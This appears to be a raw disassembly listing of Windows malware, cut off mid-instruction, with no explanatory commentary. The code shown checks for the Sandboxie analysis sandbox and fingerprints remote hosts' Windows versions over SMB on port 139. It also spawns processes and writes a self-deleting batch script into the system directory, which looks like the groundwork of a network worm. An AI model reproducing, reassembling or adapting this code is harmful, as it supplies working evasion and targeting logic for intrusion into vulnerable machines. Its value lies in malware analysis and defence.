sub_4049E1+3Ep var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_114 = byte ptr -114h var_10 = byte ptr -10h var_4 = dword ptr -4 push ebp lea ebp, [esp-1BCh] sub esp, 23Ch mov eax, dword_423068 xor eax, ebp mov [ebp+1BCh+var_4], eax push ebx push esi push edi mov esi, offset aSandboxie ; "Sandboxie" lea edi, [ebp+1BCh+var_10] movsd movsd push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" movsw mov esi, ds:dword_41E0CC mov ebx, offset aKernel32_dll ; "kernel32.dll" push ebx call esi ; GetModuleHandleA mov edi, ds:off_41E0D4 push eax call edi ; sub_44439D push offset aModule32first ; "Module32First" push ebx mov [ebp+1BCh+var_23C], eax call esi ; GetModuleHandleA push eax call edi ; sub_44439D push offset aModule32next ; "Module32Next" push ebx mov [ebp+1BCh+var_238], eax call esi ; GetModuleHandleA push eax call edi ; sub_44439D cmp [ebp+1BCh+var_23C], 0 mov ebx, eax jz loc_401D1E cmp [ebp+1BCh+var_238], 0 jz loc_401D1E test ebx, ebx jz loc_401D1E call sub_40C62E ; GetCurrentProcessId push eax push 8 call [ebp+1BCh+var_23C] mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_401D1E lea eax, [ebp+1BCh+var_234] push eax push edi mov [ebp+1BCh+var_234], 224h call [ebp+1BCh+var_238] test eax, eax jz short loc_401D1E loc_401CBF: ; CODE XREF: sub_401C17+FEj lea eax, [ebp+1BCh+var_114] push eax xor esi, esi call sub_40C500 test eax, eax pop ecx jbe short loc_401D0C loc_401CD2: ; CODE XREF: sub_401C17+F3j lea eax, [ebp+1BCh+var_10] push eax call sub_40C500 push eax lea eax, [ebp+1BCh+var_10] push eax lea eax, [ebp+esi+1BCh+var_114] push eax call sub_40AE23 add esp, 10h test eax, eax jz short loc_401D38 lea eax, [ebp+1BCh+var_114] push eax inc esi call sub_40C500 cmp esi, eax pop ecx jb short loc_401CD2 loc_401D0C: ; CODE XREF: sub_401C17+B9j lea eax, [ebp+1BCh+var_234] push eax push edi call ebx ; RtlGetLastWin32Error test eax, eax jnz short loc_401CBF push edi call ds:dword_41E0C4 ; CloseHandle loc_401D1E: ; CODE XREF: sub_401C17+6Bj ; sub_401C17+75j ... xor al, al loc_401D20: ; CODE XREF: sub_401C17+12Aj mov ecx, [ebp+1BCh+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A add ebp, 1BCh leave retn ; --------------------------------------------------------------------------- loc_401D38: ; CODE XREF: sub_401C17+E1j push edi call ds:dword_41E0C4 ; CloseHandle mov al, 1 jmp short loc_401D20 sub_401C17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D43 proc near ; CODE XREF: sub_401EE3+79p ; sub_401F75+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CB41 mov eax, [ebp+arg_0] add esp, 10h pop ebp retn sub_401D43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D5F proc near ; CODE XREF: sub_40204E+50p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40C76F mov eax, [ebp+arg_0] add esp, 10h pop ebp retn sub_401D5F endp ; =============== S U B R O U T I N E ======================================= sub_401D7B proc near ; DATA XREF: r69pu5ti:00421F9Co mov dword ptr [ecx], offset off_41E304 jmp sub_40C899 sub_401D7B endp ; --------------------------------------------------------------------------- loc_401D86: ; DATA XREF: r69pu5ti:off_41E304o push esi mov esi, ecx mov dword ptr [esi], offset off_41E304 call sub_40C899 test byte ptr [esp+8], 1 jz short loc_401DA2 push esi call sub_40CB3C pop ecx loc_401DA2: ; CODE XREF: .text:00401D99j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_401DA8 proc near ; CODE XREF: sub_401FC0+43p ; sub_408525+43p ... push 4 mov eax, offset loc_41D64C call sub_40E5CD mov esi, ecx mov [ebp-10h], esi call sub_40C7CA and dword ptr [ebp-4], 0 push dword ptr [ebp+8] lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41E310 call sub_401EB3 mov eax, esi call sub_40E66C retn 4 sub_401DA8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401DDD proc near ; CODE XREF: .text:00401E0Bp ; .text:00401E2Aj ... push esi mov esi, ecx push 0 push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41E310 call sub_401F75 mov ecx, esi pop esi jmp sub_40C899 sub_401DDD endp ; =============== S U B R O U T I N E ======================================= sub_401DFA proc near ; DATA XREF: r69pu5ti:off_41E310o ; r69pu5ti:0041E31Co ... cmp dword ptr [ecx+24h], 10h jb short loc_401E04 mov eax, [ecx+10h] retn ; --------------------------------------------------------------------------- loc_401E04: ; CODE XREF: sub_401DFA+4j lea eax, [ecx+10h] retn sub_401DFA endp ; --------------------------------------------------------------------------- loc_401E08: ; DATA XREF: r69pu5ti:off_41E310o push esi mov esi, ecx call sub_401DDD test byte ptr [esp+8], 1 jz short loc_401E1E push esi call sub_40CB3C pop ecx loc_401E1E: ; CODE XREF: .text:00401E15j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_401E24: ; DATA XREF: r69pu5ti:00421F64o mov dword ptr [ecx], offset off_41E31C jmp sub_401DDD ; --------------------------------------------------------------------------- loc_401E2F: ; DATA XREF: r69pu5ti:off_41E31Co push esi mov esi, ecx mov dword ptr [esi], offset off_41E31C call sub_401DDD test byte ptr [esp+8], 1 jz short loc_401E4B push esi call sub_40CB3C pop ecx loc_401E4B: ; CODE XREF: .text:00401E42j mov eax, esi pop esi retn 4 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_302. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E54 proc near ; CODE XREF: .text:0041D78Dp ; .text:0041D7B7p ... var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 108h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax lea eax, [ebp+var_104] push 100h push eax mov dword ptr [esi], offset off_420120 mov [ebp+var_108], esi call sub_40C634 mov eax, dword_433BB8 add esp, 0Ch lea edx, [ebp+var_108] push edx mov ecx, offset dword_433BB4 push eax push ecx call sub_401FC0 mov ecx, [ebp+var_4] xor ecx, ebp mov eax, esi call sub_40AB4A leave retn 4 sub_401E54 endp ; =============== S U B R O U T I N E ======================================= sub_401EB3 proc near ; CODE XREF: sub_401DA8+26p ; sub_402188+2Bp arg_0 = dword ptr 4 push esi mov esi, ecx push 0 mov dword ptr [esi+18h], 0Fh call sub_4020BD push 0FFFFFFFFh push 0 push [esp+0Ch+arg_0] mov ecx, esi call sub_401EE3 mov eax, esi pop esi retn 4 sub_401EB3 endp ; --------------------------------------------------------------------------- loc_401ED9: ; CODE XREF: .text:0041D5EEj ; .text:0041D66Aj push 0 push 1 call sub_401F75 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401EE3 proc near ; CODE XREF: sub_401EB3+1Bp ; sub_4022E3+2Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx push esi push edi mov edi, [ebp+arg_0] cmp [edi+14h], eax mov ebx, ecx jnb short loc_401EFB call sub_40AAF3 loc_401EFB: ; CODE XREF: sub_401EE3+11j mov esi, [edi+14h] mov eax, [ebp+arg_4] sub esi, eax cmp [ebp+arg_8], esi jnb short loc_401F0B mov esi, [ebp+arg_8] loc_401F0B: ; CODE XREF: sub_401EE3+23j cmp ebx, edi mov ecx, ebx jnz short loc_401F29 push 0FFFFFFFFh add esi, eax push esi call sub_40204E push [ebp+arg_4] mov ecx, ebx push 0 call sub_40204E jmp short loc_401F6C ; --------------------------------------------------------------------------- loc_401F29: ; CODE XREF: sub_401EE3+2Cj push 0 push esi call sub_4020D9 test al, al jz short loc_401F6C cmp dword ptr [edi+18h], 10h jb short loc_401F40 mov edi, [edi+4] jmp short loc_401F43 ; --------------------------------------------------------------------------- loc_401F40: ; CODE XREF: sub_401EE3+56j add edi, 4 loc_401F43: ; CODE XREF: sub_401EE3+5Bj mov ecx, [ebx+18h] cmp ecx, 10h jb short loc_401F50 mov eax, [ebx+4] jmp short loc_401F53 ; --------------------------------------------------------------------------- loc_401F50: ; CODE XREF: sub_401EE3+66j lea eax, [ebx+4] loc_401F53: ; CODE XREF: sub_401EE3+6Bj mov edx, [ebp+arg_4] push esi add edi, edx push edi push ecx push eax call sub_401D43 add esp, 10h push esi mov ecx, ebx call sub_4020BD loc_401F6C: ; CODE XREF: sub_401EE3+44j ; sub_401EE3+50j pop edi pop esi mov eax, ebx pop ebx pop ebp retn 0Ch sub_401EE3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401F75 proc near ; CODE XREF: sub_401DDD+10p ; .text:00401EDDp ... arg_0 = byte ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_401FAA cmp dword ptr [esi+18h], 10h jb short loc_401FAA cmp [esp+4+arg_4], 0 lea eax, [esi+4] push edi mov edi, [eax] jbe short loc_401FA2 push [esp+8+arg_4] push edi push 10h push eax call sub_401D43 add esp, 10h loc_401FA2: ; CODE XREF: sub_401F75+1Bj push edi call sub_40CB3C pop ecx pop edi loc_401FAA: ; CODE XREF: sub_401F75+8j ; sub_401F75+Ej push [esp+4+arg_4] mov ecx, esi mov dword ptr [esi+18h], 0Fh call sub_4020BD pop esi retn 8 sub_401F75 endp ; =============== S U B R O U T I N E ======================================= sub_401FC0 proc near ; CODE XREF: sub_401E54+4Ap push 44h mov eax, offset sub_41D5F3 call sub_40E5CD push dword ptr [ebp+10h] mov esi, [ebp+0Ch] push dword ptr [esi+4] push esi call sub_402137 mov ecx, 0FC0FC0h sub ecx, dword_433BBC cmp ecx, 1 jnb short loc_40201D push offset aListTTooLong ; "list<T> too long" lea ecx, [ebp-28h] call sub_4021C2 and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_401DA8 push offset dword_421F60 lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_41E31C call sub_40E1BC loc_40201D: ; CODE XREF: sub_401FC0+29j inc dword_433BBC mov [esi+4], eax mov ecx, [eax+4] mov [ecx], eax call sub_40E66C retn 0Ch sub_401FC0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_402033 proc near ; CODE XREF: .text:loc_41D748p push 10Ch call loc_40CC1A test eax, eax pop ecx jz short loc_402044 mov [eax], eax loc_402044: ; CODE XREF: sub_402033+Dj lea ecx, [eax+4] test ecx, ecx jz short locret_40204D mov [ecx], eax locret_40204D: ; CODE XREF: sub_402033+16j retn sub_402033 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40204E proc near ; CODE XREF: sub_401EE3+33p ; sub_401EE3+3Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, ecx cmp [esi+14h], edi jnb short loc_402062 call sub_40AAF3 loc_402062: ; CODE XREF: sub_40204E+Dj mov eax, [esi+14h] sub eax, edi cmp eax, [ebp+arg_4] jnb short loc_40206F mov [ebp+arg_4], eax loc_40206F: ; CODE XREF: sub_40204E+1Cj cmp [ebp+arg_4], 0 jbe short loc_4020B5 mov ecx, [esi+18h] cmp ecx, 10h push ebx lea edx, [esi+4] jb short loc_402085 mov ebx, [edx] jmp short loc_402087 ; --------------------------------------------------------------------------- loc_402085: ; CODE XREF: sub_40204E+31j mov ebx, edx loc_402087: ; CODE XREF: sub_40204E+35j cmp ecx, 10h jb short loc_40208E mov edx, [edx] loc_40208E: ; CODE XREF: sub_40204E+3Cj sub eax, [ebp+arg_4] add ebx, edi add ebx, [ebp+arg_4] push eax push ebx sub ecx, edi push ecx add edx, edi push edx call sub_401D5F mov eax, [esi+14h] sub eax, [ebp+arg_4] add esp, 10h push eax mov ecx, esi call sub_4020BD pop ebx loc_4020B5: ; CODE XREF: sub_40204E+25j pop edi mov eax, esi pop esi pop ebp retn 8 sub_40204E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4020BD proc near ; CODE XREF: sub_401EB3+Cp ; sub_401EE3+84p ... arg_0 = dword ptr 4 cmp dword ptr [ecx+18h], 10h mov eax, [esp+arg_0] mov [ecx+14h], eax jb short loc_4020CF mov ecx, [ecx+4] jmp short loc_4020D2 ; --------------------------------------------------------------------------- loc_4020CF: ; CODE XREF: sub_4020BD+Bj add ecx, 4 loc_4020D2: ; CODE XREF: sub_4020BD+10j mov byte ptr [ecx+eax], 0 retn 4 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= sub_4020D9 proc near ; CODE XREF: sub_401EE3+49p ; sub_4022E3+39p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] cmp edi, 0FFFFFFFEh mov esi, ecx jbe short loc_4020EB call sub_40AAB4 loc_4020EB: ; CODE XREF: sub_4020D9+Bj cmp [esi+18h], edi jnb short loc_4020FD push dword ptr [esi+14h] mov ecx, esi push edi call sub_4021E4 jmp short loc_40212A ; --------------------------------------------------------------------------- loc_4020FD: ; CODE XREF: sub_4020D9+15j cmp [esp+8+arg_4], 0 jz short loc_40211E cmp edi, 10h jnb short loc_40211E mov eax, [esi+14h] cmp edi, eax jnb short loc_402112 mov eax, edi loc_402112: ; CODE XREF: sub_4020D9+35j push eax push 1 mov ecx, esi call sub_401F75 jmp short loc_40212A ; --------------------------------------------------------------------------- loc_40211E: ; CODE XREF: sub_4020D9+29j ; sub_4020D9+2Ej test edi, edi jnz short loc_40212A push edi mov ecx, esi call sub_4020BD loc_40212A: ; CODE XREF: sub_4020D9+22j ; sub_4020D9+43j ... xor eax, eax cmp eax, edi sbb eax, eax pop edi neg eax pop esi retn 8 sub_4020D9 endp ; =============== S U B R O U T I N E ======================================= sub_402137 proc near ; CODE XREF: sub_401FC0+16p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 10Ch call loc_40CC1A test eax, eax pop ecx jz short loc_40214C mov ecx, [esp+arg_0] mov [eax], ecx loc_40214C: ; CODE XREF: sub_402137+Dj lea ecx, [eax+4] test ecx, ecx jz short loc_402159 mov edx, [esp+arg_4] mov [ecx], edx loc_402159: ; CODE XREF: sub_402137+1Aj push edi lea edi, [eax+8] test edi, edi jz short loc_40216C push esi mov esi, [esp+8+arg_8] push 41h pop ecx rep movsd pop esi loc_40216C: ; CODE XREF: sub_402137+28j pop edi retn 0Ch sub_402137 endp ; --------------------------------------------------------------------------- push esi push dword ptr [esp+8] mov esi, ecx call sub_402188 mov dword ptr [esi], offset off_41E31C mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_402188 proc near ; CODE XREF: .text:00402177p ; sub_40AAF3+46p push 4 mov eax, offset loc_41D64C call sub_40E5CD mov esi, ecx mov [ebp-10h], esi mov edi, [ebp+8] push edi call sub_40C841 and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41E310 call sub_401EB3 mov eax, esi call sub_40E66C retn 4 sub_402188 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4021C2 proc near ; CODE XREF: sub_401FC0+33p ; sub_408525+33p ... arg_0 = dword ptr 4 push esi mov esi, ecx push 0 mov dword ptr [esi+18h], 0Fh call sub_4020BD push [esp+4+arg_0] mov ecx, esi call sub_4022C6 mov eax, esi pop esi retn 4 sub_4021C2 endp ; =============== S U B R O U T I N E ======================================= sub_4021E4 proc near ; CODE XREF: sub_4020D9+1Dp push 0Ch mov eax, offset loc_41D629 call sub_40E600 mov edi, ecx mov [ebp-18h], edi mov esi, [ebp+8] or esi, 0Fh cmp esi, 0FFFFFFFEh jbe short loc_402205 mov esi, [ebp+8] jmp short loc_40222A ; --------------------------------------------------------------------------- loc_402205: ; CODE XREF: sub_4021E4+1Aj xor edx, edx push 3 mov eax, esi pop ebx div ebx mov ecx, [edi+18h] mov [ebp-14h], ecx shr dword ptr [ebp-14h], 1 mov edx, [ebp-14h] cmp eax, edx jnb short loc_40222A push 0FFFFFFFEh pop eax sub eax, edx cmp ecx, eax ja short loc_40222A lea esi, [edx+ecx] loc_40222A: ; CODE XREF: sub_4021E4+1Fj ; sub_4021E4+38j ... and dword ptr [ebp-4], 0 lea eax, [esi+1] push 0 push eax call sub_402389 pop ecx pop ecx mov ebx, eax jmp short loc_402269 ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-10h], esp mov [ebp+8], eax inc eax push 0 push eax mov byte ptr [ebp-4], 2 call sub_402389 pop ecx mov [ebp-14h], eax pop ecx mov eax, offset loc_402260 retn ; --------------------------------------------------------------------------- loc_402260: ; DATA XREF: sub_4021E4+76o mov edi, [ebp-18h] mov esi, [ebp+8] mov ebx, [ebp-14h] loc_402269: ; CODE XREF: sub_4021E4+59j cmp dword ptr [ebp+0Ch], 0 jbe short loc_40228E cmp dword ptr [edi+18h], 10h jb short loc_40227A mov eax, [edi+4] jmp short loc_40227D ; --------------------------------------------------------------------------- loc_40227A: ; CODE XREF: sub_4021E4+8Fj lea eax, [edi+4] loc_40227D: ; CODE XREF: sub_4021E4+94j push dword ptr [ebp+0Ch] push eax lea eax, [esi+1] push eax push ebx call sub_401D43 add esp, 10h loc_40228E: ; CODE XREF: sub_4021E4+89j push 0 push 1 mov ecx, edi call sub_401F75 push dword ptr [ebp+0Ch] mov ecx, edi mov [edi+4], ebx mov [edi+18h], esi call sub_4020BD call sub_40E66C retn 8 sub_4021E4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] xor esi, esi push esi push 1 call sub_401F75 push esi push esi call sub_40E1BC int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= sub_4022C6 proc near ; CODE XREF: sub_4021C2+17p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_40C500 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_4022E3 pop esi retn 4 sub_4022C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022E3 proc near ; CODE XREF: sub_4022C6+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] push edi mov esi, ecx call sub_402355 test al, al jz short loc_402315 cmp dword ptr [esi+18h], 10h jb short loc_402302 mov eax, [esi+4] jmp short loc_402305 ; --------------------------------------------------------------------------- loc_402302: ; CODE XREF: sub_4022E3+18j lea eax, [esi+4] loc_402305: ; CODE XREF: sub_4022E3+1Dj push [ebp+arg_4] sub edi, eax push edi push esi mov ecx, esi call sub_401EE3 jmp short loc_40234F ; --------------------------------------------------------------------------- loc_402315: ; CODE XREF: sub_4022E3+12j push 0 push [ebp+arg_4] mov ecx, esi call sub_4020D9 test al, al jz short loc_40234D mov ecx, [esi+18h] cmp ecx, 10h jb short loc_402332 mov eax, [esi+4] jmp short loc_402335 ; --------------------------------------------------------------------------- loc_402332: ; CODE XREF: sub_4022E3+48j lea eax, [esi+4] loc_402335: ; CODE XREF: sub_4022E3+4Dj push [ebp+arg_4] push edi push ecx push eax call sub_401D43 add esp, 10h push [ebp+arg_4] mov ecx, esi call sub_4020BD loc_40234D: ; CODE XREF: sub_4022E3+40j mov eax, esi loc_40234F: ; CODE XREF: sub_4022E3+30j pop edi pop esi pop ebp retn 8 sub_4022E3 endp ; =============== S U B R O U T I N E ======================================= sub_402355 proc near ; CODE XREF: sub_4022E3+Bp arg_0 = dword ptr 4 push esi mov esi, [ecx+18h] cmp esi, 10h lea eax, [ecx+4] jb short loc_402365 mov edx, [eax] jmp short loc_402367 ; --------------------------------------------------------------------------- loc_402365: ; CODE XREF: sub_402355+Aj mov edx, eax loc_402367: ; CODE XREF: sub_402355+Ej cmp [esp+4+arg_0], edx jb short loc_402383 cmp esi, 10h jb short loc_402374 mov eax, [eax] loc_402374: ; CODE XREF: sub_402355+1Bj mov ecx, [ecx+14h] add ecx, eax cmp ecx, [esp+4+arg_0] jbe short loc_402383 mov al, 1 jmp short loc_402385 ; --------------------------------------------------------------------------- loc_402383: ; CODE XREF: sub_402355+16j ; sub_402355+28j xor al, al loc_402385: ; CODE XREF: sub_402355+2Cj pop esi retn 4 sub_402355 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402389 proc near ; CODE XREF: sub_4021E4+50p ; sub_4021E4+6Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov ecx, [ebp+arg_0] sub esp, 0Ch test ecx, ecx ja short loc_4023A1 xor ecx, ecx loc_402398: ; CODE XREF: sub_402389+22j push ecx call loc_40CC1A pop ecx leave retn ; --------------------------------------------------------------------------- loc_4023A1: ; CODE XREF: sub_402389+Bj or eax, 0FFFFFFFFh xor edx, edx div ecx cmp eax, 1 jnb short loc_402398 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] call sub_40C7DB push offset dword_421F98 lea eax, [ebp+var_C] push eax mov [ebp+var_C], offset off_41E304 call sub_40E1BC int 3 ; Trap to Debugger push esi push [esp+10h+var_8] mov esi, ecx call sub_40C841 mov dword ptr [esi], offset off_41E304 mov eax, esi pop esi retn 4 sub_402389 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023EB proc near ; CODE XREF: sub_408CC5+11Dp var_528 = dword ptr -528h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = byte ptr -50Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 528h mov eax, dword_423068 xor eax, ebp mov [ebp+var_8], eax mov eax, [ebp+arg_0] push ebx push esi push edi push 6 push 1 xor edi, edi push 2 mov [ebp+var_528], eax mov [ebp+var_524], edi call ds:dword_41E240 ; socket mov esi, eax or ebx, 0FFFFFFFFh cmp esi, ebx mov [ebp+var_520], esi jz loc_402620 push 10h lea eax, [ebp+var_51C] push edi push eax call sub_40C6F0 add esp, 0Ch push 8Bh mov [ebp+var_51C], 2 call ds:dword_41E238 ; htons push [ebp+var_528] mov [ebp+var_51A], ax call ds:dword_41E234 ; inet_addr mov [ebp+var_518], eax push 10h lea eax, [ebp+var_51C] push eax push esi call ds:dword_41E258 ; connect cmp eax, ebx jz loc_402620 push 100h lea eax, [ebp+var_10C] push edi push eax call sub_40C6F0 add esp, 0Ch push edi push 48h push offset unk_425518 push esi call ds:dword_41E248 ; send cmp eax, ebx jz loc_402620 push edi mov edi, 0FFh push edi lea eax, [ebp+var_10C] push eax push esi mov esi, ds:dword_41E23C call esi ; recv cmp eax, ebx jz loc_402620 push 0 push 33h push offset dword_4254E0 push [ebp+var_520] call ds:dword_41E248 ; send cmp eax, ebx jz loc_402620 push 0 push edi lea eax, [ebp+var_10C] push eax push [ebp+var_520] call esi ; recv cmp eax, ebx jz loc_402620 push 0 push 4Ch push offset dword_425568 push [ebp+var_520] call ds:dword_41E248 ; send cmp eax, ebx jz loc_402620 push 0 push edi lea eax, [ebp+var_10C] push eax push [ebp+var_520] call esi ; recv cmp eax, ebx jz loc_402620 lea ebx, [eax-1] test ebx, ebx jle short loc_40259B lea esi, [ebp+ebx+var_10B] loc_40254F: ; CODE XREF: sub_4023EB+1AEj mov eax, [ebp+var_524] cmp eax, 4 jge short loc_40259B cmp byte ptr [esi-1], 0 jnz short loc_402595 dec eax jz short loc_40257E dec eax jz short loc_402571 dec eax jnz short loc_40258F lea eax, [ebp+var_20C] jmp short loc_402584 ; --------------------------------------------------------------------------- loc_402571: ; CODE XREF: sub_4023EB+179j push 1FFh lea eax, [ebp+var_40C] jmp short loc_402585 ; --------------------------------------------------------------------------- loc_40257E: ; CODE XREF: sub_4023EB+176j lea eax, [ebp+var_50C] loc_402584: ; CODE XREF: sub_4023EB+184j push edi loc_402585: ; CODE XREF: sub_4023EB+191j push esi push eax call sub_40CC90 add esp, 0Ch loc_40258F: ; CODE XREF: sub_4023EB+17Cj inc [ebp+var_524] loc_402595: ; CODE XREF: sub_4023EB+173j dec ebx dec esi test ebx, ebx jg short loc_40254F loc_40259B: ; CODE XREF: sub_4023EB+15Bj ; sub_4023EB+16Dj lea eax, [ebp+var_40C] mov ecx, offset aNtLanManager_ ; "NT LAN Manager *.*" call sub_4029B4 test eax, eax jz short loc_4025B3 xor eax, eax jmp short loc_402623 ; --------------------------------------------------------------------------- loc_4025B3: ; CODE XREF: sub_4023EB+1C2j lea eax, [ebp+var_40C] mov ecx, offset aWindows2000Lan ; "Windows 2000 LAN Manager*" call sub_4029B4 test eax, eax jz short loc_4025FC lea eax, [ebp+var_20C] push eax push offset aWindows5_0 ; "Windows 5.0" call sub_40CDC0 test eax, eax pop ecx pop ecx jnz short loc_4025E1 inc eax jmp short loc_402623 ; --------------------------------------------------------------------------- loc_4025E1: ; CODE XREF: sub_4023EB+1F1j lea eax, [ebp+var_20C] push eax push offset aWindows5_1 ; "Windows 5.1" call sub_40CDC0 test eax, eax pop ecx pop ecx jnz short loc_4025FC push 2 jmp short loc_402622 ; --------------------------------------------------------------------------- loc_4025FC: ; CODE XREF: sub_4023EB+1DAj ; sub_4023EB+20Bj lea eax, [ebp+var_40C] mov ecx, offset aWindowsServer2 ; "Windows Server 2003 *" call sub_4029B4 test eax, eax jz short loc_402614 push 3 jmp short loc_402622 ; --------------------------------------------------------------------------- loc_402614: ; CODE XREF: sub_4023EB+223j push [ebp+var_520] call ds:dword_41E244 ; closesocket loc_402620: ; CODE XREF: sub_4023EB+40j ; sub_4023EB+97j ... push 4 loc_402622: ; CODE XREF: sub_4023EB+20Fj ; sub_4023EB+227j pop eax loc_402623: ; CODE XREF: sub_4023EB+1C6j ; sub_4023EB+1F4j mov ecx, [ebp+var_8] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_4023EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402632 proc near ; CODE XREF: sub_4049E1+1C0p ; sub_4088D0+199p var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_124 = dword ptr -124h var_120 = byte ptr -120h var_114 = byte ptr -114h var_113 = byte ptr -113h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 170h mov eax, dword_423068 xor eax, ebp mov [ebp+var_8], eax push ebx push esi push edi xor ebx, ebx push 40h lea eax, [ebp+var_168] push ebx push eax mov [ebp+var_16C], ebx call sub_40C6F0 xor eax, eax mov [ebp+var_124], ebx lea edi, [ebp+var_120] stosd stosd mov esi, 103h push esi stosd lea eax, [ebp+var_113] push ebx push eax mov [ebp+var_114], bl call sub_40C6F0 lea eax, [ebp+arg_4] push eax push [ebp+arg_0] lea eax, [ebp+var_114] push esi push eax call sub_40D1C9 add esp, 28h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_16C] push eax push ebx push ebx push 28h push ebx push ebx push ebx lea eax, [ebp+var_114] push eax push ebx call ds:dword_41E04C ; CreateProcessA mov ecx, [ebp+var_8] test eax, eax pop edi setnz al pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_402632 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4026D7 proc near ; CODE XREF: sub_402833+15Cp var_23C = byte ptr -23Ch var_23B = byte ptr -23Bh var_13C = byte ptr -13Ch var_13B = byte ptr -13Bh var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 23Ch mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push ebx push esi xor ebx, ebx push 37h lea eax, [ebp+var_3B] push ebx push eax mov [ebp+var_3C], bl call sub_40C6F0 mov esi, 0FFh push esi lea eax, [ebp+var_23B] push ebx push eax mov [ebp+var_23C], bl call sub_40C6F0 push esi lea eax, [ebp+var_13B] push ebx push eax mov [ebp+var_13C], bl call sub_40C6F0 add esp, 24h push 100h lea eax, [ebp+var_13C] push eax push ebx call ds:dword_41E0CC ; GetModuleHandleA push eax call ds:dword_41E0B4 ; GetModuleFileNameA lea eax, [ebp+var_13C] push eax push eax lea eax, [ebp+var_23C] push offset a@echoOff1DelSI ; "@echo off\r\n:1\r\ndel \"%s\"\r\nif exist \"%s\" "... push eax call sub_40CE48 push 104h call sub_40AA82 mov esi, eax push esi call sub_40C58B add esp, 18h dec eax push eax push esi call ds:dword_41E050 ; GetSystemDirectoryA call sub_40D0F6 push 18h cdq pop ecx idiv ecx add edx, 61h push edx call sub_40D0F6 push 18h cdq pop ecx idiv ecx add edx, 61h push edx call sub_40D0F6 push 18h cdq pop ecx idiv ecx add edx, 61h push edx call sub_40D0F6 push 0Ah cdq pop ecx idiv ecx push edx call sub_40D0F6 push 0Ah cdq pop ecx idiv ecx push edx call sub_40D0F6 push 0Ah pop ecx cdq idiv 